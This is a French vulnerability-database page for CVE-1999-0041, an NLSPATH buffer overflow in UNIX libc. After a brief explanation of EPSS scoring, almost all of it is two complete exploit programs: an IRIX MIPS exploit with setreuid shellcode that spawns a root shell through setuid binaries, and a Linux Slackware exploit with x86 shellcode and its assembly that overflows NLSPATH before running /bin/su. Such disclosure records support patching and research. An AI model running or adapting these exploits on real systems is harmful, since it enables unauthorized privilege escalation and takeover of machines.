CVE-1999-0041 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/711/info Cray UNICOS 9.0/9.2/MAX 1.3/mk 1.5,AIX <= 4.2,Linux libc <= 5.2.18,RedHat 4.0,IRIX 6.2,Slackware 3.1 Natural Language Service (NLS) Vulnerability (1) A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats. Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others. It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set. */ /*## copyright LAST STAGE OF DELIRIUM sep 1997 poland *://lsd-pl.net/ #*/ /*## libc.so $NLSPATH #*/ #define NOPNUM 768 #define ADRNUM 176 #define TMPNUM 200 char setreuidcode[]= "\x30\x0b\xff\xff" /* andi $t3,$zero,0xffff */ "\x24\x02\x04\x01" /* li $v0,1024+1 */ "\x20\x42\xff\xff" /* addi $v0,$v0,-1 */ "\x03\xff\xff\xcc" /* syscall */ "\x30\x44\xff\xff" /* andi $a0,$v0,0xffff */ "\x31\x65\xff\xff" /* andi $a1,$t3,0xffff */ "\x24\x02\x04\x64" /* li $v0,1124 */ "\x03\xff\xff\xcc" /* syscall */ ; char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[10000],adr[4],tmp[4],*b,*envp[2]; int i,n=-1; printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland //lsd-pl.net/\n"); printf("libc.so $NLSPATH for irix 6.2 IP:17,19,20,21,22\n\n"); if(argc!=2){ printf("usage: %s {login|who|netprint|ordist|cancel|route|" "at}\n",argv[0]); exit(-1); } if(!strcmp(argv[1],"login")) n=0; if(!strcmp(argv[1],"who")) n=1; if(!strcmp(argv[1],"netprint")) n=2; if(!strcmp(argv[1],"ordist")) n=3; if(!strcmp(argv[1],"cancel")) n=4; if(!strcmp(argv[1],"route")) n=5; if(!strcmp(argv[1],"at")) n=6; if(n==-1) exit(-1); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8492+1800; *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+8492-1024; envp[0]=buffer; envp[1]=0; b=buffer; sprintf(b,"NLSPATH="); b+=8; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b++=0xff; for(i=0;i<TMPNUM;i++) *b++=tmp[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; switch(n){ case 0: execle("/bin/login","lsd",0,envp); case 1: execle("/sbin/who","lsd",0,envp); case 2: execle("/usr/lib/print/netprint","lsd",0,envp); case 3: execle("/usr/bsd/ordist","lsd",0,envp); case 4: execle("/usr/bin/cancel","lsd",0,envp); case 5: execle("/usr/etc/route","lsd","add",0,envp); case 6: execle("/usr/bin/at","lsd","bzz",0,envp); } }

/* source: https://www.securityfocus.com/bid/711/info Cray UNICOS 9.0/9.2/MAX 1.3/mk 1.5,AIX <= 4.2,Linux libc <= 5.2.18,RedHat 4.0,IRIX 6.2,Slackware 3.1 Natural Language Service (NLS) Vulnerability (2) A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats. Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others. It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set. --- nlspath.c --- */ /* * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1 * Copyright (c) 1997 by Solar Designer */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() - 3072; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode)); buffer[bufsize - 1] = 0; setenv("NLSPATH", buffer, 1); execl("/bin/su", "/bin/su", NULL); } --- nlspath.c --- And the shellcode separately: --- shellcode.s --- .text .globl shellcode shellcode: xorl %eax,%eax movb $0x31,%al int $0x80 xchgl %eax,%ebx xorl %eax,%eax movb $0x17,%al int $0x80 .byte 0x68 popl %ecx popl %eax jmp *%ecx call *%esp xorl %eax,%eax cltd movl %ecx,%edi movb $'/'-1,%al incl %eax scasb %es:(%edi),%al jne -3 movl %edi,(%ecx) movl %edx,4(%ecx) movl %edi,%ebx incl %eax scasb %es:(%edi),%al jne -3 movb %dl,-1(%edi) movb $0x0B,%al int $0x80 xorl %eax,%eax incl %eax xorl %ebx,%ebx int $0x80 .byte '/' .string "/bin/sh0" --- shellcode.s ---